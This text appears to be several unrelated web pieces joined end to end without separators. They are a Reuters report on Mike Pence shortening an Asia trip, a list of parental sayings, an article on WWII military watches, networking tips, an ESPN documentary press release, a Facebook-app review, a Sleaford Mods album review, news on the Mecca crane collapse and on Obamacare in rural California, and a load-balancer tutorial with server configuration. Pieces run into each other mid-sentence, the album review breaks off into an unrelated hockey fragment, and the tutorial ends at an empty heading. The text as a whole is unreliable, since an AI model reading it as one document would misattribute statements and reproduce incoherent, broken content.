PAGO PAGO, American Samoa (Reuters) - U.S. Vice President Mike Pence has cut short the final leg of his Asia trip to race back to Washington, where the Trump administration faces a critical week on tax reform and a funding plan to keep the government running, an aide said on Sunday.
Pence, who has been traveling in Asia to reassure allies and partners about President Donald Trump’s commitment to the region, had originally planned to spend two nights in Honoluluat the end of a trip that took him to South Korea, Japan, Indonesia and Australia.
While he spoke with business leaders in each country, Pence’s trip was overshadowed by rising tensions in North Korea, where it is feared another nuclear test could be conducted soon in defiance of United Nations sanctions.
Pence will now spend one night in Hawaii and is slated to be back in Washington on Tuesday morning, his aide told reporters before Air Force Two landed at Pago Pago in American Samoa for refueling.
Trump has a busy week ahead. Funding appropriated by Congress to run the government runs out on Friday, so he and lawmakers must agree on new legislation or the government will shut down on Saturday.
Saturday is also Trump’s 100th day in office, a benchmark used by pundits to assess the initial accomplishments and shortfalls of his young presidency.
Trump plans to outline principles for tax reform onWednesday, a top brief for Pence.
While in Honolulu, Pence will meet leaders of the U.S.Pacific Command and is also slated to speak to U.S. troops and their families, the aide said.
Pence had planned to tour the USS Arizona Memorial at Pearl Harbor but will no longer do that, the aide said.Irritating sayings of parents, compiled by students ages 12 and 13 at Toot Hill Comprehensive School, Bingham, Nottinghamshire, England, in 1978:
Isn’t it time you thought about bed?
It must be somewhere
You speak to him, Harold, he won’t listen to me.
Who do you think I am?
You’d better ask your father
It’s late enough as it is
Don’t eat with your mouth open
In this day and age
Did anybody ask your opinion
I remember when I was a boy
And after all we do for you
You’re not talking to your school friends now you know
Why don’t you do it the proper way
I’m only trying to tell you
What did I just say
Now, wrap up warm
B.E.D. spells bed
Sit up straight and don’t gobble your food
For the five hundredth time
Don’t let me ever see you do that again.
Have you made your bed?
Can’t you look further than your nose?
No more lip
Have you done your homework?
Because I say so.
Don’t come those fancy ways here
Any more and you’ll be in bed
My, haven’t you grown
Some day I won’t be here, then you’ll see
A chair’s for sitting on
You shouldn’t need telling at your age.
Want, want, want, that’s all you ever say
“I don’t think my parents liked me,” wrote Woody Allen. “They put a live teddy bear in my crib.”Share this Post
What is it about military watches that inspires such passion?
Is it the deep history and brutal conflict these little machines have endured? Or maybe it’s the incredible amount of human ingenuity that goes into making such a durable and reliable tool?
Whatever it is, our love for military time-pieces run deep, and to understand modern tool watches it’s important to look closely at the pioneering references that have informed the style, function, and history of the watches we wear everyday.
In this article we’ll explore some of the most iconic military wrist-watches of World War II, how they were used, and their inspiration for modern day watches, looking at important military pieces on both sides of the Allied and Axis forces.
WW2 Military Watch Visual Reference Guide A handy three-page visual reference guide containing photos of dials and movements for 16 popular and collectible vintage WW2 watches from the United States, Britain, Germany and Japan. Download PDF
The American A-11
The A-11 Military Spec was one of the most commonly issued watches types supplied to Allied forces during WWII. The A-11 is not a particular model per-se, but instead a production standard that was implemented by the major American watch manufacturers during the period in several different variations.
Those companies were called Elgin, Bulova, and Waltham, and millions of their timepieces were issues to Allied Air Force and Army personnel during the start of the war. These watches were not only highly valued personal items for soldiers, pilots, sailors, engineers, and officers, but quickly become crucial equipment to complete mission critical tasks.
Needing to survive rough conditions on the battlefield, the A-11 military spec required these pieces to be produced to rigorous standards: dust and waterproof casing, extreme temperature resistance, and a robust movements with accuracy requirements of +/- 30 seconds per day and a 30 – 56 hour power reserve. Military watches produced today are still held to this same high standard of production.
The American A-11 is widely referenced as the “watch that won the war”, enabling Allied forces to systematically drive back the German troops in Europe both in the air and on the ground with precision and accuracy.
For collectors, these types of watches are fairly common, and decent examples can typically be acquired online for around $500 to $1000 dollars. Just be weary of purchasing watches based on photographs only, many of these watches have had parts replaced on the field and may not be completely original.
Modern Homages
The German B-Uhr
The B-Uhr (short for Beobachtungsuhr, or Observer) is another iconic military watch style that was supplied to German Luftwaffe during World War II.
Like the American-made A-11, the B-Uhr was manufactured by several cooperating German and Swiss companies, namely: IWC, ALS, Wempe, Lacher & Co (Laco), and Walter Storz (Stowa).
Available in two primary configurations (A and B), the B-dial features a shorter hour hand aligned with the inner circle of the dial and a unique triangular marker at 12. The B-Uhr was an essential tool for Luftwaffe navigators, and it’s functional design provides a historical reference for many modern pilot watches.
Regulated to the highest of chronometer standards, B-Uhr watches were precisely synchronized using radio signals from the German Naval Observatory. These tools had to be deadly accurate in order to successfully intercept targets on the field.
At 55mm, these were huge watches, but they served a purpose. Along with an extended double-riveted leather strap, the B-Uhr was designed to be worn over flight jackets, and it’s massive size provided the navigator with unambiguous legibility.
Additionally, mechanical movements were housed in anti-magnetic iron cages to prevent electrical interference from flight equipment and the oversized onion-shaped crowns allowed smooth operation while wearing flight gloves.
Although complicit in unimaginable human suffering, the B-Uhr design is one of the most important tool watch designs in watch history. If you can’t find an original vintage version of this watch, modern reproductions are plentiful, with some modern B-Uhrs still being produced by the companies who produced the originals (namely, Stowa and Laco).
Modern Homages
The Japanese Seikosha “Kamikaze” Watch
Size: 48.5mm Date Produced: 1940 – 1945 Forces Supplied: Japanese Air Force Manufacturers: Seikosha (“Seiko”)
As part of the Axis forces, the Japanese played an important role in the resistance during WWII, culminating in the horrific destruction of Hiroshima and Nagasaki by the American-dropped atomic bombs in 1945.
Prior to the Japanese surrender in 1945, the Japanese Navy was famously known for using “Kamikazes” – suicidal pilots who crashed directly into U.S. battleships – a last ditch effort to slow down the powerful U.S. Navy advance.
This rare watch, the Seikosha “Kamikaze”, was on the wrist of these imperial pilots as they made their last descent.
The name of this watch may sound familiar, and that’s because Seikosha was a branch of the popular watch company Seiko that has produced watches and clocks for military and civilians since the 19th century.
Like the German B-Uhr, the oversized case and crown were designed to be worn over flight equipment and operated with thick leather gloves. This Japanese pilot watch does have a unique feature though: a turntable bezel, allowing for marking of elapsed time during missions.
Because of the nature of how these pieces were used, finding one in decent condition is rare. Not many were made and most of them were destroyed. Some museum quality pieces that were salvaged from wreckages do exist, but can fetch upwards of $20k at auction.
The British W.W.W.
Great Britain declared war on Nazi Germany in 1939 after the famous Blitzkrieg invasion of Poland devastated Polish forces.
Needing a massive supply of wrist watches for it’s embarking armies, the United Kingdom developed a production standard called “W.W.W.” (Wrist. Watch. Waterproof).
With British watchmakers focused on building naval and aviation instruments, the British Ministry of Defense turned to neutral Swiss watchmakers to fulfill the massive need. In response to this request, a group of 12 companies collectively known as the “Dirty Dozen” all rallied to produce an implementation of the spec: Buren, Cyma, Eterna, Grana, Jeager-LeCoultre, Lemania, Longines, IWC, Omega, Record, Timor and Vertex.
The specs may seem familiar by now: Waterproof, luminous hands, and chronometer grade movements, durable timepieces that can standup to the rigor of military life. Much like the A-11 and the B-Uhr, these were no-nonsense watches built for a very specific purposes and every soldier had one.
Unfortunately for collectors, many of these watches were destroyed in the early 70’s for fear of radioactive Radium-226, an element found in the luminescent material on the dials of these watches.
Hundreds of thousands of these watches were produced, but the Grana is by far the most elusive piece. With only 1000 actually produced, it’s often the missing link for those completionists looking to obtain all 12.
The Glashütte Chronograph
Size: 39mm Date Produced: 1940 – 1949 Forces Supplied: The German Luftwaffe Manufacturers: Tutima Glashutte, Hanhart
An often overlooked watch developed secretly in collaboration between the German government and Hanhart/Tutima, this Flyback Chronograph is one of the most historically important chronographs in all military history.
Used in aerial combat during the war, the German pilots were the only military combatants to have actual chronograph timing capabilities on their wrist, and the Flyback mechanism was an important technical achievement (and the first of it’s kind).
This piece has some serious tool watch specs: Antimagnetic and waterproof case, shatterproof domed acrylic crystal, rotating bezel, radioactive lume, and the famous Flyback chronograph mechanism, which allows you to reset the chronograph while its running.
After the war was over and Glashutte lay in ruin, Russian troops dismantled the manufacture and moved all equipment and parts to Moscow as part of reparations. Russian versions of this watch using the same Calibre 59 can be found from this post-war period, and can be highly collectible as well.
Modern reproductions: Hanhart Pioneer, Tutima Grand Flieger Classic Chronograph 6402
Today, military time-pieces have made quite a comeback. What was once only desired by hardcore military collectors can now be found at JCrew and purchased from “luxury” watch brands (for a premium, of course). As fans and collectors of tool watches, looking at historic military timepieces begins to connect the dots of the modern tool watch landscape.
Luckily, we can enjoy these watches today without risking our life and limb, while appreciating those that did for us.
Get The Dispatch If you enjoyed this post, drop us your email address and we'll keep you up to date with the latest on tool watches, gear and style. Your Email Address:Getty Images Hey, did you hear Mark Zuckerberg announced an update to Facebook's privacy settings?
"When?"
In May.
"Why?"
Because people have complained for a long time the settings are too confusing. So the company made a change.
"How?"
Now, new users of the site will have privacy settings default to "Friends," instead of "Public," which had been the case for many years.
"Why?"
You ask a lot of questions, don't you?
"Ha, yeah. I guess I do."
—
Want to be a great networker? Learn to love WHO,WHAT,WHEN,WHERE,WHY, and HOW.
The six words demonstrate maturity, selflessness, and a natural curiosity. They prove you can set yourself aside and be genuinely interested in another person's life. You know, authenticity. And perhaps through all your questions, you'll find new ways to connect or advance your career.
"Curiosity is more important than knowledge." ― Albert Einstein
WHO should I talk to like this?
Anyone. A stranger at happy hour, someone you ask to meet for coffee, or a person you sit next to on a plane. Everyone else knows something you don't. Why spend the entire time talking? What will you learn?
Sample question: Who are some of your clients?
WHAT do I talk about?
You talk about what the other person wants to talk about. Let that person guide the conversation. If that person says, "I like my job, but it can be tough at times," then you come right back with, "What makes it tough?"
Sample question: What kind of projects are you working on?
WHEN is the most appropriate time?
Anytime. People love to talk about themselves. In fact, they'll probably give you as much info as you can handle. They think: "You're curious about what I do for a living? Of course I'll blab about it!"
Sample question: When did you decide to focus on that aspect of your career?
WHERE are the best places?
Anywhere, but specifically situations where you could aid your career. Networking events, work conferences, and job interviews are great places to give these words a whirl.
Sample question: Where do you go most often for work? Do you travel?
WHY is it such an effective strategy?
With each question, you take the conversation deeper and build trust. Plus, if you two find a way to network further, the person is more likely to help because that person likes you — and all you did was let that person ramble on about themselves!
Sample question: Why did you decide to pursue a master's degree?
HOW do I keep up all the questions?
You listen intently. You stay in the moment, absorb what the person has to say, and come back with a thoughtful response.
Sample question: How did you start your own business? What was the process?
—
In conversation, our instinct is to dive right in and say, "Well, I... "
But you … you're smarter than that. You understand the power of WHO, WHAT, WHEN, WHERE, WHY, and HOW.
Those six words allow you to forge relationships, broaden your knowledge, and create new career opportunities.
"Why?"
When you focus on others, the world starts to shift in your favor.ESPN Films announced today at the Television Critics Association Press Tour (TCA) that its 30 for 30 documentary “Nature Boy,” on wrestling legend Ric Flair, will premiere on Tuesday, Nov. 7, at 10 p.m. ET on ESPN. Director Rory Karpf (“I Hate Christian Laettner,” “The Book of Manning”) will take an inside look at Flair’s story, including his triumphs, his tragedies, and his pivotal role in turning pro wrestling into mainstream sports entertainment. Trailer: http://es.pn/2h3xaAA
Real or Fake? It’s a question that’s long shadowed professional wrestling. But for one of the industry’s most legendary performers, there’s never been any separation between the ring and the world around it. His story starts in the Midwest, when a young Richard Fliehr set his sights on rising to stardom in a unique world, and decided to do anything necessary to get to where he wanted. A character was born, along with a singular desire “to be the man,” and a drive that made him as popular and polarizing as any figure ever to step into the ring. The success took a considerable toll – on his body, and on his wives and children – and in 2013 came a tragic postscript. But today, Flair remains as defiant as ever, proud of his legacy, eager to remain in the spotlight. This is the story of a man, a character, and their unbreakable connection.
“This film was basically borne out of working with Rory Karpf on our ‘I Hate Christian Laettner’ documentary,” says 30 for 30 Executive Producer John Dahl. “Rory interviewed Ric for his take on sports villains and wanted to do a film on him next. After watching that interview for the Laettner film, we were convinced that Ric would be a fascinating subject to explore for our first feature-length 30 for 30 on a pro wrestler.”
“Nature Boy” features two in-depth conversations between Karpf and Flair over a 16-month span, surrounded by interviews with those closest to the man himself; including Triple H, Hulk Hogan, Ricky Steamboat, Baby Doll, Tully Blanchard, The Undertaker, Arn Anderson, Shawn Michaels, Sting and Road Warrior Animal as well as his first wife, Leslie Jacobs, and children along with others who know Flair best.
“I grew up a huge wrestling fan in the 1980s and I was captivated by Ric Flair,” says director Rory Karpf. “It’s been a personally rewarding experience to tell the story of arguably the greatest wrestler of all time. Ric’s story transcends the wrestling business, and my hope is that it will appeal to wrestling and non-wrestling fans alike.”
Advance press screeners will be available upon request. Follow 30 for 30 on Facebook, Twitter and Instagram and join the conversation with hashtag #NatureBoy.
About ESPN Films
ESPN Films has been an industry leader in documentary filmmaking since its inception in March 2008, producing more than 100 documentaries that have showcased some of the most compelling stories in sports. The high quality of storytelling, highlighted by the Peabody and Emmy-Award winning 30 for 30 series and the Academy-Award winning documentary “O.J.: Made in America,” has led to record viewership as well as multiple honors and critical acclaim. Additional projects from ESPN Films over the years have included 30 for 30 Shorts, Nine for IX and the SEC Storied series.
-30-Under the Radar is a new series in which we talk about awesome apps and games that many people don’t know about. Have a suggestion for an app/game we should check out next? Leave us a comment at the bottom of this post!
I think it’s pretty well known in the Android world that the official Facebook app is less than perfect. Okay, I personally think it’s downright bad, but it works for some people. If you aren’t keen on navigating to the mobile site and are looking for something a little more rich in features than the official app, you should check out an app called Swipe for Facebook.
Available in both free and pro versions, Swipe for Facebook provides pretty much everything you’d want from a Facebook wrapper, and then some. It’s chock full of Material Design interface tweaks, supports day and night modes, and comes with a ton of different themes. It also features notification filters and a handy Do Not Disturb mode, which I find to be very useful.
It’s super customizable, too. The free version will get you access to the standard Facebook Blue, Material Dark and AMOLED Black themes, but if you invest in the Pro version you can choose from eight more. There’s also a night mode that you can set to turn on or off at a specific time of the day to help with night/daytime reading.
The feature that got me to stick with Swipe is Fingerprint Lock. You can not only set up a 4-digit PIN code to protect folks from accessing the app, but you can also use your fingerprint sensor to unlock the app. Very cool.
Seriously, there are a ton of features available in this app. Most of the features you’ll need are available in the free version, but there’s a Pro option available for $2.85 that will get you these features:
Material Design Injection
Higher Customizations
More themes!
Facebook iOS and Google Plus UI
Notification Filtering – filter out notifications you don’t want to see (or notifications you only want to see) using keywords
Quiet Hours (Do Not Disturb) – turn off notifications during selected times
Power Saving Mode
Retain Last Visited Pages
If you’re interested, head to the Play Store link below! Have you given it a shot? We’d love to hear what you think of it in the comments.By Oliver Butler (@notoliverbutler)
Whilst Sleaford Mods won’t go as far to allege that they ‘tap into the vein of austerity Britan’, it’s certainly fair to say that they hold a cracked mirror up to the pock-marked face of modern Britain, with Jason Williamson’s impassioned rants expertly capturing the anger & betrayal of the modern working class over Andrew Fearn’s minimalist beats.
Though we all yearn for a world where songs on unemployment, austerity, Boris Johnson and waking up with shit in your sock outside the Polish off-licence have no meaning, Sleaford Mods provide a fantastic, aggressive commentary on the State of the Rapidly Disintegrating Union, and with their ninth studio release, English Tapas, it’s business as usual for the Nottinghamshire duo.
Many (whom enjoy dull, bland love songs, sung over the same three chords, missionary sex and floppy-haired middle-class kids with mummy-funded equipment) are quick to criticise Sleaford Mods for the raw, simplistic and rough delivery of their bruising tirades, but that’s what makes their craft so beautiful; for most people, the world is an ugly, unforgiving place, which is communicated through Williamson’s words. A blunt instrument? Absolutely, but a sledgehammer makes more impact than a feather duster, doesn’t it?
Despite less than two years separating English Tapas and their last offering, Key Markets, the world is a different place. We now live in post-Brexit, full-Tory Britain, where across the pond, the only man to ever lose money running a casino is now running America, sinking faster than a squealer wearing concrete shoes.
Poking fun at the Snapchat wankers, fitness freaks and Boris Johnsons of the world in songs like ‘Snout‘, ‘Army Nights‘ & ‘Moptop‘, this album retains the Mods’, specifically Jason Williamson’s policy of providing an honest assessment of the country in which we live. Whilst the fraudulent, moneyed men will try to win you over with their ‘man in a pub’ routine to convince you that they represent the working class, Sleaford Mods speak for those who have been let down by the elite and the establishment, as demonstrated in penultimate track ‘B.H.S‘.
English Tapas has also seen them push their creative boundaries a little more. Alongside bullet quick rants and spoken word diatribes, Williamson is employing his singing voice a bit more than previously, with Fearn utilising more experimental sounds and beats, most notably in the eerie-sounding ‘Drayton Manored‘.
One of the most enjoyable things about any Sleaford Mods record is the comedy that gets mixed in with the rapid-fire anger |
asset than a hindrance.
He knows what is in front of him and it will ultimately be up to him if he succeeds. I’ve always had a soft spot for underdogs and I believe in giving people a second chance. First and foremost, I hope he has his addictions under control, and if he manages to make it back to the NHL then that is a wonderful bonus for him.
I will be following his progress in Bakersfield, and I expect he will get an opportunity with the Oilers before the end of the season.At Least 107 Dead In Crane Collapse At Mecca's Grand Mosque
Enlarge this image toggle caption EPA/Landov EPA/Landov
Updated at 7 p.m. ET
Gulf News YouTube
At least 107 were killed and more than 230 injured after a crane, apparently buffeted by strong winds, collapsed through the roof of Mecca's Grand Mosque, Saudi Arabia's Civil Defence body said.
YouTube
The accident comes as pilgrims are gathering in the city for the culmination later this month of the annual Hajj, which attracts millions of faithful each year. The Grand Mosque contains the Kaaba, a giant cube-like structure that serves as the focal point of Muslim prayers. The Kaaba also features prominently on the final day of the pilgrimage.
Kuwait News Agency Kuna reports that following the collapse, 39 ambulances were dispatched to the mosque to treat and transport the wounded. The Associated Press quotes civil defense officials as saying 184 people were hurt in the collapse.
The Grand Mosque is usually at its most crowded on Fridays, the Muslim weekly day of prayer, Gulf News reports.
The BBC says, "Reports suggested the crane fell during high winds. The Arabian peninsula has been hit by strong sand storms over the past week."
According to Gulf News: "A massive project is currently underway to increase the area of the mosque by 400,000 square metres [4.3 million square feet], allowing it to accommodate up to 2.2 million people at once."
And the AP adds: "Several cranes surround the mosque to support an ongoing expansion and other construction work that has transformed the area around the sanctuary. Steep hills and low-rise traditional buildings that once surrounded the mosque have in recent years given way to shopping malls and luxury hotels — among them the world's third-tallest building."In A Conservative Corner Of California, A Push To Preserve Obamacare
Enlarge this image toggle caption April Dembosky/KQED April Dembosky/KQED
Modoc County, in the northeast corner of California, is roughly the size of Connecticut. It's so sparsely populated that the entire county has just one stoplight. The nearest Walmart is more than an hour's drive, across the Oregon border. Same with hospitals that deliver babies.
Greta Elliott runs a tiny health clinic in Canby, on the edge of the national forest. "Rural" doesn't begin to describe the area, she says. This is "the frontier."
"There are more cows in Modoc than there are people," Elliott says.
There's a frontier mentality, too. People take care of each other, and they take care of themselves. They don't like being told what to do. Being forced to buy insurance made Obamacare a dirty word.
Even Elliott, administrator of the Canby Family Practice Clinic, decided against buying coverage for herself.
"It's too expensive," she says. "I choose to put my money back into paying the bills of the whole family."
Overall, the Affordable Care Act helped 25,000 people in the upper reaches of Northern California buy plans through the state marketplace, Covered California. But the law helped three times as many people, 75,000, enroll in Medi-Cal, the state's Medicaid program that provides free health coverage for low-income residents.
"The data shows it's the rural communities that have greatly benefited from the Medicaid expansion. That's the irony," says Dean Germano, CEO of the Shasta Community Health Center. "These are places that voted much more heavily for Donald Trump."
In Modoc and Lassen counties, 70 percent of people voted for Trump in the November election. In neighboring Shasta County, Trump won 64 percent of the vote.
But now a coalition of clinics from across the northeast corner of the state is lobbying local officials to take an unpopular position in this conservative land: defend the Affordable Care Act.
And the right-leaning Shasta County Board of Supervisors took them up on it.
"We thought 'Whoa! That is really bold,' " Germano says. "I was surprised."
The board sent a letter to the local Republican representative, Doug LaMalfa, asking him to vote against the initial GOP repeal and replace bill, because it would hurt local people.
"We have an obligation to say something," says Supervisor David Kehoe. "And if it may be mildly offensive from a political standpoint for some, well, we're not going to be intimidated by politics."
But LaMalfa still voted in favor of dismantling Obamacare.
LaMalfa didn't return calls and emails for this story. But in May, he told KQED that skyrocketing premiums were the main driver behind his vote.
"Unfortunately, the reality is that too many young and healthy individuals are deciding they'd rather pay the penalty than sign up for care, citing financial barriers and lack of choice," he said in a statement. "A 28-year-old making $45,000 a year with no major health concerns is not going to pay upwards of $400 a month for a plan that does not even work for them."
When clinic representatives met with LaMalfa's staffers, they were told the congressman's office was flooded with calls like that.
But people with Medi-Cal didn't call to say how much they appreciate that program. In fact, at first clinics struggled getting people to sign up for Medi-Cal.
"They feel like it's a handout and they're too proud, they don't want to," says Carol Morris, an enrollment counselor for the Mountain Valleys Health Centers in Shasta County.
One way clinic workers get around the stigma is to avoid calling it Medi-Cal. Instead, they promote the name of the insurer that manages the Medi-Cal contract in that region. People get a card for "Partnership Health Plan" and may not realize they're actually covered by a government program.
Enlarge this image toggle caption April Dembosky/KQED April Dembosky/KQED
"It feels like it's more of an insurance," Morris says. "It's like a laminated, wallet-sized card that's got your numbers on it. It just looks exactly like an insurance card."
One patient at the Mountain Valleys clinic in Bieber, Kay Roope, 64, knew she had Medi-Cal, and she liked it.
"It did me good," she says.
Now she has a subsidized commercial plan through Covered California with modest premiums and copays, and she likes that, too.
"It's OK, 'cause I'm at the doctor's at least once a month," she says.
But when asked what she thinks of Obamacare overall, she says she doesn't like it.
"Because of Obama himself," she says with a laugh. "I rest my case."
The confusion and the contradictions are common among patients, explains Morris, the enrollment counselor.
"People just don't understand the different names," she says. "But of course, it's the same thing."
Morris has seen the difference the Affordable Care Act has made for people in the region. She has seen patients get treatment for diabetes and breast cancer, or get knee surgery that they otherwise wouldn't have gotten.
Those patients won't fight for Obamacare, Morris says, so that's why the clinics have to.
This story is part of a reporting partnership with NPR, KQED and Kaiser Health News.When you put your web application behind a load balancer, or any type of reverse proxy (perhaps a web cache), you immediately need to take some important factors into consideration.
This article will cover those considerations, as well as discuss common solutions.
The Setup
When using a load balancer, you typically point all (most) web traffic to your load balancer. The load balancer is responsible for distributing web traffic across 1 or more configured web servers.
Load balancers aren't restricted to distributing only HTTP traffic, but that is one of the most common use cases and what we'll be covering here.
Asset Management
Using a load balancer implies that you have more than one web server processing requests. In this situation, how you manage your static assets (images, JS, CSS files) becomes important.
Static assets don't change - they are the same across servers. You can likely get away with having them copied on each web server behind a load balancer. The main worry here is making sure that static assets are successfully replicated and are the same on each server.
You might also benefit from using a CDN, which can serve and cache your static assets, reducing the load on your server and loading them faster for users geographically far away from your web servers. Something like Cloudflare, MaxCDN or Cloudfront might be appropriate.
If you accept user uploads (such as with a CMS), the uploaded file can't simply live on the web server it was uploaded to. When an uploaded jpg file only lives on one web server, a request for that image will result in a 404 response when the load balancer attempts to find it on web server which does not have the image.
In this situation, the web servers need to have a central file store they can all access.
One way this is done is via a shared network drive (NAS, for example). This, however, get's slow when there are many files or high levels of traffic. Furthermore, if your architecture is distributed across several data centers, then a shared network drive can become too slow; Your web servers would be too far away from them and the network latency too high.
Central File Storage
A common (and better) solution is to host all static assets in a separate location, such as Amazon's S3.
Within Amazon, this can be taken a step further. An S3 bucket can be integrated with CloudFront, their CDN service. Your files can then be served via a true CDN.
For your static assets, you can use automated tools such as Grunt to automate these tasks for you. For example, you can have Grunt watch your files for changes, minify and concatenate CSS, JS and images, as well as generate production-ready files, and then upload them to a location of your choice.
For user-uploaded content, you'll need to do some coding around sending uploaded files to S3 via AWS's API. This is actually pretty easy.
Uploading files to S3 using the AWS PHP SDK:
// Send uploaded image to S3 Route::post('/upload', function() { // Get Uploaded File $file = Input::file('file'); // Create name for file $now = new DateTime; $hash = md5( $file->getClientOriginalName().$now->format('Y-m-d H:i:s') ); $key = $hash.'.'.$file->getClientOriginalExtension(); $s3 = AWS::get('s3'); $s3->putObject(array( 'Bucket' => 'user_uploads_bucket', 'Key' => $key, 'SourceFile' => $file->getRealPath(), 'ContentType' => $file->getClientMimeType(), )); // Probably store the name of the file in a database too... return Redirect::to('/profile'); });
Environment-Based URLs
One thing I do on projects is to change the URL of assets based on the environment. Using a helper function of some sort, I'll have code output the development machine's URL out to HTML so the files are loaded locally.
In production, this helper can output URLs for your file-store or CDN of choice. Combined with some automation (Grunt), this gives you a fairly seamless workflow between development and production.
Here's a Gulp plugin that let's you upload files to S3.
Sessions
Similarly to the issue of Asset Management, how you handle sessions becomes an important consideration. Session information is often saved on a temporary location within a web server.
A user may log in, creating a session on one web server. On a subsequent request, however, the load balancer may bounce that user to another web server which doesn't have that session information! To the user, it appears that they are no longer logged in.
There are three common fixes for this.
Cookie-based Sessions
In this scenario, cookies are used to store the session information. The session data, such as the user ID, are not saved to the server or any other storage, but are instead within the browser's cookie.
This has a limitation of the available amount of data a cookie can store. It's also easy to make insecure unless done correctly - the cookie needs to be encrypted in a way that can't be unencrypted, even if the cookie is hijacked by a malicious user.
Sticky Sessions
Another solution is use "sticky sessions", also called "session affinity". This will track which server a client was routed to and always route their request to the same web server on subsequent requests.
This let's the web server keep its default behavior of saving the session locally, leaving it up to the load balancer to get a client back to that server.
This is nice if you have a legacy application where changing the way cookies are handled is too difficult. However, this can skew the sharing of work load around your web servers.
You can see how to accomplish that in HAProxy under the Load Balancing Algorithms section here and Nginx, under the available algorithms here.
HAProxy Session Affinity:
backend nodes # Other options above omitted for brevity cookie SRV_ID prefix server web01 127.0.0.1:9000 cookie check server web02 127.0.0.1:9001 cookie check server web03 127.0.0.1:9002 cookie check
Nginx Session Affinity:
upstream app_example { ip_hash; server 127.0.0.1:9000; server 127.0.0.1:9001; server 127.0.0.1:9002; }
Central Session Storage
The second fix for this is to use a shared session storage mechanism.
Session storage is typically centralized within an in-memory stores such as Redis or Memcached. Persistent stores such as a database are also commonly used.
Since session data does not necessarily need the guaranteed persistence of a database, but may be heavily used, an in-memory data store's efficiency may be preferred.
In any case, using a cache (Redis, Memcached) for session-storage lets all the web servers connect to a central session store, growing your infrastructure a bit, but letting your work load be truly distributed across all web nodes.
Sample framework configuration to use Memcached:
<?php # Session configuration for a Laravel application. # Avoid using "file" in a load-balanced environment return [ /* |-------------------------------------------------------------------------- | Default Session Driver |-------------------------------------------------------------------------- | | This option controls the default session "driver" that will be used on | requests. By default, we will use the lightweight native driver but | you may specify any of the other wonderful drivers provided here. | | Supported: "file", "cookie", "database", "apc", | "memcached", "redis", "array" | */ 'driver' =>'memcached', ];
Lost Client Information
Closely related to the session issue is detecting who the client is. If the load balancer is a proxy to your web application, it might appear to your application that every request is coming from the load balancer! Your application wouldn't be able to tell one client from the other other than by the cookie sent along in a browser-based request.
This may or may not be an issue for your application. However if logs of HTTP requests are stored from your web nodes (rather than from your load balancer), then you may lose important information needed when auditing your logs.
Luckily, most load balancers provide a mechanism for giving your web servers and application this information. If you inspect the headers of a request received from a load balancer, you might see these included:
X-Forwarded-For
X-Forwarded-Host
X-Forwarded-Proto / X-Forwarded-Scheme
/ X-Forwarded-Port
These headers can tell you (respectively) the client's IP address, the hostname used to access the application, the schema used (http vs https) and which port the client made the request on. If these are present, your application's job is to sniff these headers out and use them in place of the usual client information (to avoid thinking every client is the load balancer itself).
// JSON representation of headers sent from a load balancer {"host":"example.com", "cache-control":"max-age=0", "accept":"text/html", "accept-encoding":"gzip,deflate,sdch", "x-forwarded-port":"80", // An x-forwarded-port header! "x-forwarded-for":"172.17.42.1"} // An x-forwarded-for header!
IP Address
Having an accurate IP address of a client is important. Web applications may use a user's IP address to help identify a client as part of the authentication process. Some applications use the client's IP address to perform functions such as rate limiting or other throttling techniques. Furthermore, having a client's IP address can help identify malicious traffic patterns when inspecting access logs.
The X-Forwarded-For header, which should include the client's IP address, should be used if the header is found (assuming the source of the proxy request is trusted).
Host
If your site is accessed in a user's browser as "example.com", but your load balancer is sending requests to your web nodes as "localhost:9000", then you may need to find the correct hostname. This may be important for multi-tenancy applications, where a site's subdomain determines under what organization is user is performing actions.
I believe this use case is more rare - the hostname is likely passed through to the web server correctly.
Protocol/Schema and Port
Knowing the protocol (http, https) and port used by the client is also important. If the client is connecting over an SSL (with a https url), that encrypted connection might end at the load balancer. The load balancer would then send a http request to the web servers.
Many frameworks attempt to guess the site address based on the request information. If your web application is receiving a http request over port 80, then any URLs it generates or redirects it sends will likely be on the same protocol. This means that a user might get redirected to a page with the wrong protocol or port!
Sniffing out the X-Forwarded-Proto and X-Forwarded-Port header then becomes important so that the web application can generate correct URLs for redirects or for printing out URLs within templates (think form actions, links to other pages, and links to static assets such as your JS, CSS and images).
Trusted Proxies
Many frameworks can handle this for you. For example Symfony and frameworks using Symfony's HTTP components have a means to incorporate X-Forwarded-* headers.
They ask you to configure a "trusted proxy". If the request comes from a proxy who's IP address is trusted, then the framework will seek out and use the X-Forwarded-* headers in place of the usual mechanisms for gathering that information.
This provides a very nice abstraction over this HTTP mechanism, allowing you to forget about this issue and keep on coding!
SSL Traffic
As noted above, in a load balanced environment, SSL traffic is often decrypted at the load balancer. However, there's actually a few ways to handle SSL traffic when using a load balancer.
SSL Termination
When the load balancer is responsible for decrypting SSL traffic before passing the request on, it's referred to as "SSL Termination". In this scenario, the load balancer alleviates the web servers of the extra CPU cycles needed to decrypt SSL traffic. It also gives the load balancer the opportunity to append the X-Forwarded-* headers to the request before passing it onward.
The downside of SSL Termination is that the traffic between the load balancers and the web servers is not encrypted. This leaves the application open to possible man-in-the-middle attacks.
However, this is a risk usually mitigated by the fact that the load balancers are often within the same infrastructure (data center) as the web servers. Someone would have to get access to traffic between the load balancers and web servers by being within the data-centers internal network (possible, but less likely).
Amazon AWS load balancers also give you the option of generating a (self-signed) SSL for use between the load balancer and the web servers, giving you a secure connection all around. This, of course, means more CPU power being used, but if you need the extra security due to the nature of your application, this is an great option.
HAProxy SSL Termination:
frontend localhost bind *:80 bind *:443 ssl crt /etc/ssl/xip.io/xip.io.pem mode http default_backend nodes backend nodes mode http balance roundrobin option forwardfor option httpchk HEAD / HTTP/1.1\r
Host:localhost server web01 172.17.0.3:9000 check server web02 172.17.0.3:9001 check server web03 172.17.0.3:9002 check http-request set-header X-Forwarded-Port %[dst_port] http-request add-header X-Forwarded-Proto https if { ssl_fc }
SSL Pass-Through
Alternatively, there is "SSL Pass-Through". In this scenario, the load balancer does not decrypt the request, but instead passes the request through to a web server. The web server than must decrypt it.
This solution obviously costs the web servers more CPU cycles. You also often lose some extra functionality that load-balancing proxies can provide, such as DDoS protection. However, this option is often used when security is an important concern (although SSL Termination followed by re-encryption seems to be a good compromise).
SSL Pass-thru is only supported by load balancers that can balance traffic at the TCP level rather than HTTP level, since the traffic is not decrypted at the load balancer and is therefore not inspected to see what kind of traffic it is.
That rules out Nginx for SSL pass-thru, but HAProxy will happily accomplish this for you!
HAProxy SSL Pass-Through:
